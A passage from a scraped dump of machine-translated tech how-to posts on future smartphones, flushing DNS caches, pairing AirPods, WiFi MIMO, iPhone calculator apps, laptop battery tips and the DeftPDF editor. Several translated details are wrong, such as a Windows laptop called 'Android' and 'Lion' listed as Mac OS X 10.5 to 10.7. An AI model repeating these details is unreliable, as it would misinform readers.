too familiar or not.\n5G and 6G\n 5G has been used in a number of countries, though, by the end of 2019, this next-generation network technology is still not popular.For people in high-speed areas, where 4G is faster than most people need and no application is launched really making the most of 5G high-speed connection.\nBut in the coming years, companies will launch more 5G phones and fewer 4G devices, gradually, 5G will become a \"normal\" level, just like you buy 4G phones today.By the end of the decade, we could even see 6G.\nThe future of front camera\n One of the differences between today's smartphones is the front camera.Either you will have a smartphone with a 'notch' camera like the iPhone, or a bit smaller as water droplets like many mid-range machines, or a hole-punch camera like Samsung, some are in the form of pop-ups, sticking up and down when needed.\nIt is possible that in the future, all these designs will disappear, because the camera will be placed under the display.\nOPPO has introduced camera technology hidden under this screen and other companies are also researching it.This method helps the front camera completely disappear from the screen when you are not using it and also do not take up the internal space of the camera like a retractable camera.\nIn the later years of this decade, perhaps the camera technology hidden under the screen will be complete and we will have smartphones with true screen integrity.\nGoodbye connection port\n Many smartphones today have removed the 3.5mm headphone jack, and it would be quite surprising if flagship smartphones launched this year have this jack.\nMore and more users are turning to wireless headsets than wired headsets because of its usability, the number of phone users who need to plug in their headsets will decrease and after 10 years with years of technological advancement Bluetooth, perhaps at that time using wired headphones with smartphones was quite a 'highlight'.\nNot only the headphone jack, but also the ports that seem to be as important as USB for charging phones will probably disappear.We have seen 'test phones' without holes, and are based on wireless charging, wireless data transmission.\nIt is likely that wireless chargers will become more popular and, more importantly, faster charging, people will be less dependent on physical wires, making the addition of a port to the phone redundant and into by 2030, gateless smartphones might be normal.\nMore rear cameras?\n While you might think the future will bring phones with more rear cameras now, that may not happen, as more lenses don't bring anything new.\nIn fact, the real change is likely to be the number of megapixels - by the end of 2019, the highest resolution in smartphones will be 108MP, but it seems that some phones by 2020 are preparing to overtake them. this number.In 10 years, that number could be much higher.\nScientists have estimated that the human eye sees about 576MP, but not everyone needs that number and it would be very surprising if certain phone companies decided to reach 576MP.However, advances in megapixels will almost certainly become more pronounced by 2030, rather than the number of rear cameras.\nIn your opinion, will the smartphone be 10 years from now?\nReference: Techradar\nncG1vNJzZmismaXArq3KnmWcp51ktq95kGlksp2Rp8ButM6wZLChnKF6tLnAq6upoJ%2Bjsm7AxJyfp6ecpLS6ecKhmKeflQ%3D%3D\n","link":"/post/in-10-years-how-will-smartphone-technology-change/","section":"post","tags":null,"title":"In 10 years, how will smartphone technology change?"},{"body":"When surfing the web, a problem can arise whenever a user receives a lot of DNS errors or 404 errors in a web browser even though the network connection is still working normally. In this case, learning how to delete DNS for the computer operating system is the key to accurately recover the quality of service for the computer's browsing capabilities. DNS deletion will help remove the location and name of saved web pages or cache on the computer. This can affect the speed when accessing the site again (slower), but it will minimize errors when browsing the web from the entry that is in error.\nExplore more:\nChange DNS usage to make surfing faster Instructions for removing DNS Unlocker adware What is DNS? Domain Name System (DNS) is a database system that can translate the native language of a web address or URL into an IP address. This system is created because it is much easier to remember the domain name (eg www.quantrimang.com.vn) when remembering the IP address. Basically, any computer on the local network has at least one server acting as a DNS query manager, doing a cache job or a quick search to minimize the time needed to find the domain. If the local server does not host the domain name, it will require identification from the next server name and so on.\n  Read the article: Learn about DNS? What is DNS Lookup? to better understand DNS.\nDNS record Before DNS was created in 1982, the idea of ​​using a name instead of the computer's digital address on the network connected to ARPANET. Before 1982, any computer connected to the network needed a HOSTS.TXT file that could be retrieved from a computer at SRI. This file will map the digital addresses. The host file is still used in modern operating systems to map 127.0.0.1 to 'localhost'. However, the rapid development of the computer network has turned the host editing file into useless. Therefore, Paul Mockapetris created the Domain Name System in 1983 and wrote the first deployment. The original implementation was then considered the IETF standard and has been replaced since that time. The first Unix deployment of DNS was completed in 1984 by Douglas Terry, David Riggle, Mark Painter, and Songnian Zhou referring to BIND server (Berkeley Internet Name Domain). BIND was later imported into Windows NT in early 1990s.\nDNS Cache Poisoning Similar to other basic Internet structures, the original Domain Name System was not designed to be very secure. DNS cache poisoning is the term used to describe data or DNS security is compromised. Infringement occurs when data is introduced to DNS cache that does not originate from or originate from a valid DNS source. This could be due to malicious attacks or bad DNS cache or incorrectly configured DNS. Once the DNS Server receives invalid information and cache into the database, then it will give this bad information malicious. At the very least, the infected server will transfer end users to sites they don't want. During malicious attacks, they may be redirected to malicious websites designed to sabotage the client computer or to sites dedicated to stealing information or user money.\n  Prevent DNS Cache Poisoning Many traditional DNS cache poisoning attacks are blocked by helping DNS servers trust information passing through it with other DNS servers. This can be accomplished by omitting the DNS record that will return to the server that has the request unrelated to the query. The current version of BIND focuses on malicious attacks in this way. In addition, deploy random source port for DNS request (request variables become more difficult to mimic) with the use of random security encryption numbers to select source port and immediately reduce significantly DNS attack capability. Secure DNS or DNSSEC is an initiative that is currently being implemented slowly to completely address the malicious DNS cache problem by using digital signatures and public validation to validate the data.\nCommon errors with DNS There are many problems with DNS that can arise at the level of network administrators or advanced users. However, for the end user, the main problem with DNS arises because they are misconfigured or the DNS host on the local computer requires cleanup. Regardless of the type of operating system, many home computer users will enter the wrong DNS Server of the service provider they are using, leading to a problem with the Internet connection. Each service provider has its own configuration process and the IP address of the DNS Server for the local network to use is provided in the contract. Many cases the provider uses its primary DNS Server address, whether it is the same address as the Gateway IP or not (as well as the router's IP address).\nWhat to delete DNS Cache for? DNS cache stores the locations (IP addresses) of the web server that contain the website you just viewed. If the location of the web server changes before the item is updated in the DNS cache you will not be able to access the site. If you encounter a lot of HTML 404 errors, you will have to delete the DNS cache. After the deletion is complete, the computer will query the name server to retrieve the new DNS information and you can access the website.\nGuide the Flush DNS in Windows using the command Step 1 - Close all open web browsers and applications on the computer.\nStep 2 - Open the Windows command prompt by selecting the ' Start ' menu and typing ' cmd ' in the search field, then press enter .\nStep 3 - In the command, type ' ipconfig / flushdns ' and press enter . After a while, Windows will display a message like: ' Successfully flushed the DNS Resolver Cache '. After this message is displayed, it means that DNS has been deleted and all invalid entries removed.\n  Step 4 - Display the DNS resolver cache by typing ' ipconfig / displaydns ' in the command then pressing the enter key.\n  Instructions for deleting DNS Cache on Windows 10 Method 1: Use the command line This is similar to previous Windows operating systems, specifically:\nRight-click on the Start Menu and open Command Prompt (Admin), the UAC (User Account Control) window appears, click Yes to start the command line window with administrative rights.   In the command line interface, paste the command ipconfig / flushdns and press Enter   This will clean up the DNS Cache, remove too large cache files (sometimes causing errors when loading a web page) and you will receive a message Successfully flushed the DNS Resolver Cache .   Method 2: Delete DNS memory using Batch File You can clean up DNS Cache by using an executable file in Windows 10. This file includes many commands, just run the file to execute the commands contained in it. Therefore, if you are afraid to use the command line interface, just download the executable file, run it to delete the DNS Cache on Windows. Download the file here.\nSome useful commands related to DNS and IP addresses If you are still facing problems on the site, you can use the following commands to fix DNS errors or IP address issues:\nipconfig / displaydns: Check DNS records according to Windows IP configuration ipconfig / release: Exit the current IP address settings ipconfig / renew: Reset the IP address settings   Instructions to turn off DNS Cache in Windows If clearing DNS cache does not help resolve DNS errors that occur frequently on computers running Microsoft Windows operating systems, DNS client caching can be disabled. When the DNS cache on the client is disabled, your computer is still usable, but not as efficient or as fast as when the service is activated and working normally.\nStep 1 - Open the Windows command prompt by selecting the ' Start ' menu and typing ' cmd ' in the search field and pressing the enter key.\nStep 2 - Type ' net stop dnscache ' or ' sc servername stop dnscache ' in the command window and press enter . DNS cache will be disabled until the computer starts or restarts at the next time. In order to keep this change permanent, the DNS Client Service needs to be changed to disable using Microsoft Service Controller or Services tools.\nSteps to stop DNS Client Services in Windows using the Services Tool Step 1 - Open the command window. Then, enter services.msc into the command prompt and press enter .\nStep 2 - Locate the ' DNS Client ' application and double click on the icon of this software.\nStep 3 - Select the ' Stop ' menu. In contrast, the application will restart in the same area.\nChange the DNS Cache settings in Windows The following method can also be used to modify the Windows DNS client cache: change the 2 registry entries in the registry corresponding to this service.\nStep 1 - Select the ' Start ' menu and type ' regedit ' in the search dialog box and press enter.\nStep 2 - Click on ' Edit ' and ' Find ' and type ' DNSCache ' or use the menu on the left to locate: HKEY_LOCAL_MACHINESYSTEM → CurrentControlSet → Services → Dnscache → Parameters .\nStep 3 - MaxCacheTTL is the maximum amount of time that Windows will cache a DNS lookup. The default value at the time of writing this article is 86,400 seconds. Users can change this entry to 1 to ask Windows to clear the cache every second. This may adversely affect the performance of the computer.\nStep 4 - Another installed registry key can be changed to MaxNegativeCacheTTL, the maximum amount of time a failed DNS result will be cached. Normally it will be set to 900 seconds, but if you change to 0, Windows will not store failed searches.\nNote : The path to the DNS cache registry key will vary slightly depending on the version of Windows installed on your computer. Users should be careful when editing the registry and this job is absolutely not for those who do not have experience using computers.\nInstructions for deleting DNS in Mac OS X operating system If you are a large Internet user or a web developer or have a lot of management jobs on a Mac computer, clearing DNS cache is a sure requirement to arise. Depending on the version of the operating system installed on your computer (Leopard or Tiger), there will be a slight difference in the command to delete DNS.\nStep 1 - If you have installed Mozilla Firefox on your computer and are opening it, exit this application.\nStep 2 - Open Terminal on the computer.\nStep 3 - On the computer running Lion (Mac OS X 10.5, 10.6, or 10.7) type the following command and remember to press ' return ' when done:\ndscacheutil –flushcache\nStep 4 - In Mac OS X 10.4 Tiger, type the following command and remember to press ' return ' when done:\nlookupd –flushcache\n  Instructions for deleting DNS in Linux In many versions of Linux, the nscd daemon is used to manage DNS caching on the client. For versions that use this method, restarting nscd daemon is the first way to clear DNS cache. Other versions of Linux can use BIND or dnsmasq to delete.\nSteps to delete NSCD DNS Cache NSCD is used to speed up continuous access to the same data and improve the overall performance of the system.\nStep 1 - type $ sudo /etc/init.d/nscd restart and press enter or return key.\nStep 2 - After nscd starts, DNS will be deleted. Instead, the user can type ' # service nscd restart '.\nSteps to delete the DNSMASQ DNS Cache DNMASQ is used as a compact DHCP, TFTP, and DNS server. It was originally designed to improve DHCP services and DNS to LAN, accept DNS queries and answer them. It is also installed on many routers to cache DNS queries or searches.\nStep 1 - type ' $ sudo /etc/init.d/dnsmasq restart '\nStep 2 - After dnsmasq starts, DNS will be deleted.\nSteps to delete BIND Server DNS Cache Similar to nscd and dnsmasq, to ​​delete the DNS cache in BIND, simply request the boot to clear the cache.\nStep 1 - type ' # /etc/init.d/named restart ' then press enter or return key.\nStep 2 - After BIND has finished booting, DNS will be deleted.\nInstructions to Disable Firefox DNS Cache Unlike other popular web browsers, Firefox runs its own DNS cache independent of other services on the computer. Therefore, if you frequently switch between VPN, home ISP or other connections, unexpected results can occur if users access services that require using VPN, ISP, . Do When you perform an erase of DNS on the computer, users should close Firefox. If DNS problems still appear on your computer and Firefox is your favorite browser, the answer probably lies in whether users should disable DNS cache in this browser.\n  Step 1 - Run Mozilla Firefox on the computer.\nStep 2 - Install the Firefox DNS cache plugin.\nStep 3 - Right-click the ' Home ' menu in Firefox and then select the ' Customize ' menu.\nStep 4 - Search for the ' DNS Cache ' button and then drag it to the next ' Home ' button in Firefox and then click the ' Done ' button.\nStep 5 - Click the ' DNS Cache ' button whenever you want to disable Firefox DNS cache.\nStep 6 - In addition, users can change the FireFox DNS settings to set the expiration time for the cache after 0 seconds. To do so, type ' about: config ' in the address bar and press enter or return key. Right-click an empty area in the screen that appears then select New → Integer .\nStep 7 - Type ' network.dnsCacheExpiration ' and set 0 to be the value of the integer. If ' network.dnsCacheExpiration ' is available, adjust the integer value to 0 . If you later want to restore Firefox's defaults, just change the value back to the default of 3600 . When 0 key is pressed, DNS cache in Firefox will automatically expire on your computer.\nncG1vNJzZmismaXArq3KnmWcp51ktq%2B%2F06usnKyZpLu0ecWoqWaclaGytbXNoGSdpqNivK951qKlnaenqA%3D%3D\n","link":"/post/instructions-for-deleting-dns-on-windows/","section":"post","tags":null,"title":"Instructions for deleting DNS on Windows"},{"body":"You own an airpod but do not know how to connect your airpod to your laptop to serve your work and entertainment needs. A simple but very effective method will be sent to you right below.\nThe product lines from the Apple brand have always received great attention from all consumers, especially those with a passion for technology. In addition to phones and laptops, Apple's AirPods Bluetooth headset also has great attraction.\nHow to connect airpod to windows laptop If you use Apple products, the connection between products will definitely be more convenient and faster when you use them to connect with other operating systems. However, with a big brand like Apple, this problem is solved very gently. To connect an airpod to a laptop running Android operating system, just do the following simple steps:\nStep 1: Make sure that your headphone case is fully charged with both headphones in place.\nStep 2: Select and open the 'Settings' section, then select 'Devices' and click on 'Add Bluetooth or other division'. This step you need to note that you must turn on Bluetooth (in the Bluetooth section, drag the switch to the right, when the switch is blue and shows the word 'on').\n  Step 3: Proceed to open the cover of your headphone case, then press and hold the small button on the back of the case for a few seconds until the light on the front of the case flashes white.\nStep 4: Take a look at your laptop, your Airpod will be displayed in the 'Add a device' window. Then you click 'AirPods' to start connecting your Airpod to your laptop. The connection process will be done immediately and if successful, a notification will be displayed.\nSo from now on you can completely listen to the sound from your computer through the Airpod headset. The operations are very simple and easy to do. In the next time you connect your airpod to your laptop, you just need to click on the Airpod to be able to connect and use it right away because now in the list of available bluetooth devices, the name of your headset device is already available. .\nHow to connect airpod to mac laptop When you try to connect airpod to laptop, there will be two cases, that is: the airpod is already paired with your iphone or the airpod is not paired with your iphone. In each case, we will give you a separate solution as follows:\nIf you have created a setup between the headset and your iPhone. Besides your Mac device is signed into iCloud under the same Apple ID, your Airpods are ready to pair. All you need to do is turn on Bluetooth on your computer and you can use the headset.\nIf your Airpods have never been connected to your iPhone, you will connect directly to your Mac. For now, check the following:\nStep 1: Open the cover of AirPods in the charging case, then press and hold the setup button on the back of the charging case or the noise control button (only on AirPods Max) until the white status light flashes.\n  Step 2: On your laptop, click on the 'Apple' icon in the top left corner, then select 'System Preferences' and click on 'Bluetooth'. (As with Android computers, you'll need to make sure Bluetooth on your Mac is turned on.)\nStep 3: Look at your laptop, you will see AirPods in the Devices list of the Bluetooth menu, press 'Connect' to finish.\nSo you are done connecting your airpod to your mac laptop so you can listen to music, use Siri or listen to incoming phone calls.\nAbove we have shared with you how to connect your airpod to your laptop in the most effective way. Hope these shares will help you in your work to achieve optimal results.\nncG1vNJzZmismaXArq3KnmWcp51ktq%2B%2F06usnKyZpLu0ec6nZKGnp2LBsHnCqKWnnZOpeqK10ammnWWkpHqtrc%2Btpqk%3D\n","link":"/post/instructions-on-how-to-connect-airpod-to-laptop/","section":"post","tags":null,"title":"Instructions on how to connect airpod to laptop"},{"body":"Acer Ferrari One has the processing power of AMD Athlon X2 CPU and ATI Radeon 3200 graphics card. This is the most powerful netbook running Windows 7.\nAcer Ferrari One uses 11.6-inch screen resolution of 1366 x 768 pixels, equipped with a new generation dual-core processor AMD Athlon X2 L310 1.2 GHz, powerful ATI Radeon 3200 graphics card. Its RAM capacity is up to 2 GB, 320 GB HDD, and Dolby Home Theater audio technology application. Thanks to this configuration, Ferrari One is considered the most powerful netbook on the market with the ability to watch HD movies for beautiful, smooth image quality and impressive stereoscopic sound.\nAcer Ferrari One uses 6 cell 5,600 mAh battery, fully Wi-Fi, Bluetooth, and even HSDPA. According to Cnet , the device is preinstalled with Windows 7 Home Premium and will be sold in Asian markets later this month for $ 789.\nncG1vNJzZmismaXArq3KnmWcp51kwKaxjJqanqpdm7KzvsCroGannpo%3D\n","link":"/post/see-acer-ferrari-one/","section":"post","tags":null,"title":"See Acer Ferrari One"},{"body":"Those who have upgraded their iPhones to iOS 11 , must have also discovered a small error in the computer application that is integrated in the software. When performing a simple calculation like 1 + 2 + 3, everyone knows that the result is 6, but the iPhone computer application on iOS 11 version results in 24. The ability to record commands of the computer On iOS 11 an error has occurred and failed to produce the correct result. If you are experiencing this error and need a reliable computing application, try some of the third-party apps below before the App fixes this bug.\nEssential applications for new iPhone users The best computer applications for iPhone Free computer applications for iPhone 1. MyScript Handwriting Calculator 2. Free Graphing Calculator 3. Calcbot 4. Numerical2  The paid computer applications for iPhone 1. PCalc 2. CALC Smart 3. Tydlig  Free computer applications for iPhone 1. MyScript Handwriting Calculator   MyScript is the perfect calculator application for those who need fast results. It turns handwriting into digital text, so if you want to make a long division or find the square root of a certain number, just write it with your finger and see the result.\nIn addition, you can perform many mathematical functions using trigonometry, basic math, percentage, inverse trigonometric functions, etc.\nDownload: MyScript Handwriting Calculator\n2. Free Graphing Calculator   There is no need to spend money on TI-83 anymore because there is a free Free Graphing Calculator (or you can spend a dollar and not have to watch ads). The Free Graphing Calculator features as a scientific calculator performing calculations such as square root, square root, natural logarithm, base 10 logarithm, permutation and many other calculations. It is also capable of drawing graphics that graphs up to four equations at once.\nUsers have full control over the graph with dragging as well as pinch zooming. If you are looking for a powerful graphics calculator application, Free Graphic Calculator is a great choice.\nDownload : Free Graphic Calculator\n3. Calcbot   Calcbot is a computer application and is also a good conversion application. It converts units quickly and directly, with an easy-to-read history tape that allows sending old calculations to current computers. The handy Apple Watch app even lets you split bills right on the clock.\nDownload : Calcbot\n4. Numerical2   Numerical2 is a colorful computer application. A special feature is that this application has no marks, you just need to enter and receive results immediately. Numerical2 equipped with a full scientific numeric keypad, a fractional key for quick fractions calculations, the ability to use pi and e to infinite positions for accurate results for any equation.\nYou can drag down the keyboard to view your history while working and Numerical2 fully supports multitasking on the iPad.\nDownload: Numerical2\nThe paid computer applications for iPhone 1. PCalc   PCalc is advertised by the App Store as the best computer application. This is one of the most full-featured computer applications today and thanks to the availability of iPhone, iPad, Apple Watch and Mac it made it popular.\nThis is the perfect calculator application for scientists and engineers, it has buttons and options for advanced functions such as optional RPN mode and multi-line display. You can choose button layout, track calculations using paper tape feature, undo and redo custom users and more. With PCalc, you can perform the most complex calculations such as hexadecimal, octal (octal) and binary.\nDownload: PCal ($ 9.99)\n2. CALC Smart   Smart CALC is a nice interface app, arranges neat calculations by separating them based on the date. You will receive results in real time while entering, even if the calculation has parentheses and can swipe to calculate the conversion quickly. Themes and layouts can be changed to suit user preferences.\nDownload: CALC Smart ($ 3.99)\n3. Tydlig   If computers are complex enough that you have to brainstorm, a nice, easy-to-read, easy-to-use computer application will be the right choice and Tydlig can meet your needs. Tydlig is the perfect calculator for everyday use, it helps calculate discounts, view and edit calculation history and store in an infinite frame.\nYou can fine-tune everything you need and Tydlig even has the graphics capabilities, allowing you to connect calculations to graphs in real time and update with any changes in expressions. You can then share your entire history and print it or export it as PDF.\nDownload : Tydlig ($ 1.99)\nncG1vNJzZmismaXArq3KnmWcp51kwamxjJucrKxdmLyuvNStnKtlkaW9rbXCmquip56oeqe70WagqaCfo7I%3D\n","link":"/post/the-best-computer-applications-for-iphone/","section":"post","tags":null,"title":"The best computer applications for iPhone"},{"body":"If there are many devices connected to 1 WiFi at the same time, it will make the data transfer speed of WiFi slower. Therefore, the speed will be slower, so to improve this situation, there is a new technology standard that significantly reduces the waiting time. In this article, I will share some information about WiFi MIMO Technology. Let's see it now!\nMIMO technology stands for Multiple In, Multiple Out is a method of using multiple antennas to transmit and receive signals of a wireless connection. Helps electronic devices such as\u0026nbsp; smartphones ,\u0026nbsp; tablets \u0026nbsp;or\u0026nbsp; laptops \u0026nbsp;receive Wifi waves more easily and take advantage of the full capabilities of the Wifi transmitter.\n  - Downloads are accelerated when using devices that support WiFi MIMO.\n- The data receiving time of each device is reduced to the lowest level.\n  - WiFi MIMO allows you to send data continuously, sending it to many devices that are connected to the network at the same time.\n- Helping to raise the user experience to a new level like watching movies on laptops and surfing the web on phones.\nPrevious Wifi technologies like SISO on a router used only one antenna on the router to connect to only one antenna on the receiving device.\n  Wifi MIMO technology allows more antennas to be used in both devices to improve the reliability and speed of the signal transmitted, overcoming the limitations of obstacles encountered by older Wifi technologies. right.\nSU stands for Single User to refer to a single user, released in 2007 with the 802.11.n Wifi standard that allows to increase Wifi speed by allowing two wireless devices to transmit and receive data at the same time. . This is a technology that allows a router to send and receive data to a device at the same time.\n  MU-MIMO technology, this technology was released in 2015 to overcome the disadvantages of SU-MIMO, with the 802.11ac Wifi standard allowing the Wifi router to interact with many devices at the same time, reducing the time each device has to wait, each device has to wait for the signal and increase the network speed.\n  Therefore, we can conclude that MIMO is a technology that allows to form multiple data streams between router and device, MU-MIMO allows Wifi to send multiple bursts of MIMO data to many devices at the same time.\nWhen you see all the descriptions of a device using MIMO technology, it's usually followed by a few numbers like 2x2 or 3x2. The number before the x is the number of the transmitting antenna and after the x is the number of the receiving antenna.\n  Example: Suppose you come across a 2x2 router. This means it can transmit Wi-Fi to the outside using two antennas at the same time, and if your laptop has a 1x2 Wifi card, it can receive the full signal from both. this antenna at the same time. Your computer will only receive waves with one antenna if it is only 1x1.\nThe basic difference between SU-MIMO and MU-MIMO is:\nSU-MIMO sends data packets to devices one after another, not at the same time, but must wait for the transmission of this device to finish and then go to the next device. MU-MIMO sends data packets to many devices in the network at the same time, on different connections, and all devices receive the data at the same time. Unlike SU-MIMO, there is no need to wait for a replacement to be received.\n  MU-MIMO also helps to increase the serviceability of the network compared to SU-MIMO, ie more devices can be on the network at the same time than taking turns entering the network like SU-MIMO. And MU-MIMO also provides more consistent transmission at faster speeds.\n  So, according to you MU-MIMO or SU-MIMO, which technology is good. MU-MIMO will certainly become more popular, as there will be no need to switch between devices, allowing for a more constant connection. In addition, the speed of each device will increase, allowing an increase in the number of people who can use the network at the same time.\nThe term Beam Forming may appear on some modern routers. Because of its ability to direct where you sit, this technology is often referred to as a smart antenna. The router will change its broadcast power to the device based on this location data, resulting in a better signal. Meanwhile, normal Wifi emits in all directions in the form of a sphere, so it will not be very concentrated.\n  Beam Forming has 2 types: Explicit and Implicit. When both your router and device allow Explicit Beam Forming beam formation, laptops and phones released about 3 years ago are available. In contrast, Implicit Beam Forming is when only the router has this function, the phone does not.\nHopefully, after reading this article, you have information about WiFi MIMO technology. Thank you for following the article, see you in the next post!\nncG1vNJzZmismaXArq3KnmWcp51kxKmt02agrGWnnrOqecyipKhlp56zqnnMoqSoZaedrrV5wKucZqyYmnqjsc2enaKso2K1sMOMnaaeq12stqe1jKagpqddrLyztw%3D%3D\n","link":"/post/what-is-wifi-mimo-wifi-mimo-what-are-the-benefits-how-does-wifi-mimo-work/","section":"post","tags":null,"title":"What is WiFi MIMO? WiFi MIMO What are the benefits? How Does WiFi MIMO Work?"},{"body":"Laptops bring a lot of convenience to users, but its 'life span' is too short for users to be uneasy when using this laptop. Just follow these tips: you can increase your laptop's life by up to 25%. 1. 'Sleep' is the best Use the operating system's power management features. With Windows Vista, this function is in the Power Options section of Control Panel. With Windows Vista, you boot it at Mobile PC / Mobile PC. This feature helps you to set up when to turn off the screen off mode (it may be after 5 minutes of not using the device) and when the machine works in sleep mode (no more than 10 minutes use to machine). If you want to let your laptop reboot in a certain time, activate the hibernate function. 2. Do not consume performance (performance) If you don't waste too much power for a series of computing tasks, the laptop's life time will be longer. Therefore, in Vista operating system, select 'Power saver' in the Control Panel / Power Options section to save power. 3. Reduce screen light Reducing the brightness of the LCD screen is also a very simple way to save power for laptops. Open the Display Settings dialog box in Control Panel to reduce the light to the lowest you can accept.    4. Remove unnecessary parts When you don't need to use Wi-Fi, Bluetooth or infrared (IR), you should turn these features off because they also consume a lot of laptop power. And, should only use peripheral devices plugged in USB port when necessary. 5. Check pre-set tasks (Scheduled Tasks) You should schedule a virus scan at the right time when you charge the battery. Virus scanning for hard drives really costs a lot of electricity. 6. Limit multimedia entertainment programs Just creating a PowerPoint presentation and listening to music on the plane is very attractive. However, these entertainment pleasures, even streaming songs or opening CDs, also contribute to depleting laptop power.\nncG1vNJzZmismaXArq3KnmWcp51kg27AyKmqZqyfYrWmuM9mnLGslaOxbrjAqauoqF2XrrXAxKuwZqSZm7I%3D\n","link":"/post/6-tips-to-help-extend-laptop-battery-life/","section":"post","tags":null,"title":"6 tips to help extend laptop battery life"},{"body":"Google has just continued to improve its Gmail email service by allowing users to attach files to emails without concern about an Internet connection.\n\" From today you can attach files to emails before sending them regardless of whether you're offline or online, \" programmer Andy Palay wrote in his blog on November 24.\n  \" As long as you have enabled offline working in Gmail (working without an Internet connection), you will receive a notification that all messages have been transferred to the outbox, this will allow Gmail to receive attachments even if you lose your Internet suddenly '.\nIn fact, this is just a small improvement because Google does not need to change Gmail's algorithm, but it is an important step for the search firm on the way to make Gmail more competitive with the program. manage Microsoft Oulook email.\nThis is a signal that although Google is expanding aggressively into other areas such as mobile, operating system, programming languages ​​. but they still do not neglect to \" take care \" of technologies and His usual service. Recently, Google has also added the ability to work offline for both its Google Docs and Google Calendar text editing services.\nGoogle has used self-developed software called Gears to support its out-of-network tasks, but the standard HTML standard has been developed and replaced by the HTML 5 standard. build features similar to the name ' internal storage ' for your Chrome browser.\nncG1vNJzZmismaXArq3KnmWcp51krrXAwJyfZp6ZobK0ecinZKClkZ65bsPIrZ%2BoraRitq%2FAxKulnqw%3D\n","link":"/post/attach-files-in-gmail-without-internet/","section":"post","tags":null,"title":"Attach files in Gmail without Internet"},{"body":"Instead of having to install software on a computer, users now have a lot of online tools to process PDF files with different needs. In particular, many websites also gather groups of PDF editing tools such as SmallPDF or DeftPDF that Network Administrator introduced in the article below.\nDeftPDF categorizes PDF editing tools into separate groups, helping you find the tools you need faster, like Popular groups, compounding and PDF splitting groups, PDF content editing groups, etc. Besides, DeftPDF also has a separate item to convert PDF files to any type of file you want. The following article will guide you how to use DeftPDF.\n5 online tools to remove pdf file limits How to convert PDF files to Word simply, without font errors 7 best free PDF file editing software The best online file conversion tools for all your formatting needs Instructions for editing PDF files on DeftPDF 1. Editing content PDF (Edit) 2. Connect and compress PDF files (Merge \u0026amp; Compress) 3. Customizing and asking others to edit PDF (Edit \u0026amp; Sign) 1. Change PDF page size (Crop) 2. Customizing and editing (Fill \u0026amp; Sign) 3. Translate text, PDF (Translate)  4. Convert PDF file 5. Split PDF file (Split) Users access the link below to DeftPDF's homepage.\nhttps://deftpdf.com/  At the homepage interface, click on Login to create DeftPDF account. The website supports account creation via personal Google accounts. Or you can skip the registration step.\n  In the interface of the tool click on All tools to see a list of tools you want to use.\n  1. Editing content PDF (Edit) Step 1:\nUsers click on Edit to enter the PDF editing interface. The website supports you to download PDF files directly from your computer, or upload from some hosting services like Google Drive.\n  Step 2:\nSwitching to the editing interface we will see the editing tool displayed right on top of the interface. And this tool is always displayed on the interface even if we edit any location.\n  Step 3:\nTo edit the text , click on the Text item and then click on the content line to edit. This will display a blue dashed frame for us to enter new content.\n  In addition, the content editing section has additional formatting including size, color, .\n  Step 4:\nTo insert a link to the content , click on the Link section and localize the content to insert the link. Then show the link insert table with 2 types of links Link to external URL (link to external link) and Link to internal (internal link with the same domain).\n  Step 5:\nTo change back to previous operations we will use 2 Undo and Indo tools.\n  Step 6:\nTo add a new page for the PDF file, click the Insert Page Here button .\n  Other editing tools follow the instructions on the page. When you're done editing, click the Apply Changes button below.\n  Step 7:\nDisplay new PDF content to download to your computer, or you can upload files to other storage services.\n  2. Connect and compress PDF files (Merge \u0026amp; Compress) Jointing PDF files together we have 3 options including:\nAlternate \u0026amp; Mix: create PDF from multiple PDF files with mixed pages. Merge: create PDF from many PDF files and different images. Combine \u0026amp; Reoder: create PDF from multiple PDF files in which the location, the way each page can be changed or deleted.   Step 1:\nWe also proceed to download the PDF files we want to merge into 1. Display the list of uploaded PDF files. With Alternate \u0026amp; Mix mode, you can choose the content mixing mode starting from which page in each PDF file.\nFinally, click Mix PDF Files below to merge the content.\n  Step 2:\nWith Merge mode, users download PDF files and images they want to join together. In the list of uploaded files, click Merge PDF Files to proceed with the pairing.\n  Step 3:\nWith Combine \u0026amp; Reoder mode , we will merge PDF files together and then edit each page. Then display all pages in the PDF file. Click on a page in the file and then select the horizontal or vertical mode, delete the page if you want.\n  After you have changed the page, click the Save button below to save it.\n  Step 4:\nWith the Compress option , you can download multiple PDF files at the same time. In the next interface click on More options to add customizations to the file.\n  Display options to adjust the quality of the content in the PDF file. After finishing editing press Compress PDF .\n  3. Customizing and asking others to edit PDF (Edit \u0026amp; Sign) With this section there will be a number of user options that can be edited and asked by others.\n  1. Change PDF page size (Crop) Step 1:\nWhen we upload a PDF file, there are two options: changing the PDF page size (Crop pages individially) and changing the entire PDF whole page size. After selecting, click Continue to continue.\n  Step 2:\nIf you choose to cut each page, then at each PDF page displays the size as shown below. You can enter the size directly, or drag the PDF page cut frame and the size entered into the box itself.\nIf Auto crop is clicked, the tool automatically fits the page content, eliminating all excess white at 4 sides.\n  Step 3:\nFinally press Crop PDF Tool to cut tran PDF with the selected size.\n  2. Customizing and editing (Fill \u0026amp; Sign) When users upload files, they will display the option of self filling out or ask others to edit (I want someone else to fill out) .\n  If I click I'm filling out, the editing interface is similar to the part 1. If you ask other people to adjust , you have a proposal as below.\nWe need to fill in the email who wants to edit the household at Recipient's email, your email at Your email, add a message at Add a note. Finally click Send requets . Time is 30 days to complete the edit content.\n  3. Translate text, PDF (Translate) This feature supports you to download PDF files or text files that want to switch languages. However, DeftPDF does not currently support Vietnamese.\n  4. Convert PDF file There are many options to convert Word to PDF or PDF to Word, along with popular formats today.\n  We proceed to download PDF files or download files as usual. After uploading, click on More options to add custom for output file. Depending on the type of convert we have different custom sections.\n  5. Split PDF file (Split) In the PDF file split includes editing tools:\nExtract Pages: Create new PDFs with the removed pages you choose. Split by bookmarks: Extract chapters to separate documents based on bookmarks in the table of contents. Split in half: Divide the page as A3 into double A4 or A4 into double A5. Split by size: Create a new PDF with the size of your choice. Split by text: Split PDF by words, phrases you choose. Split PDF by pages: Create new PDFs extracted from each page in the PDF file of your choice.   In each split content we will have different separation options. For example, with Split by size, users can choose to split files to a maximum of 10KB or 10MB.\n  Above is an introduction article through some PDF content editing tools on DeftPDF. PDF files are downloaded in zip file format. Each tool has a detailed guide below to know how to do it.\nI wish you all success!\nncG1vNJzZmismaXArq3KnmWcp51ksaay06mbn2WlqK6osYyfpqtloJmzbrHDoquippdivK%2B4yKec\n","link":"/post/deftpdf-usage-for-pdf-editing-online/","section":"post","tags":null,"title":"DeftPDF usage for PDF editing online"},{"body":"In October, Google released Chrome 86 and with that they rolled out a new improvement called occlusion to 100% of Windows users. Recently, on the Chromium blog, a report appeared on the data related 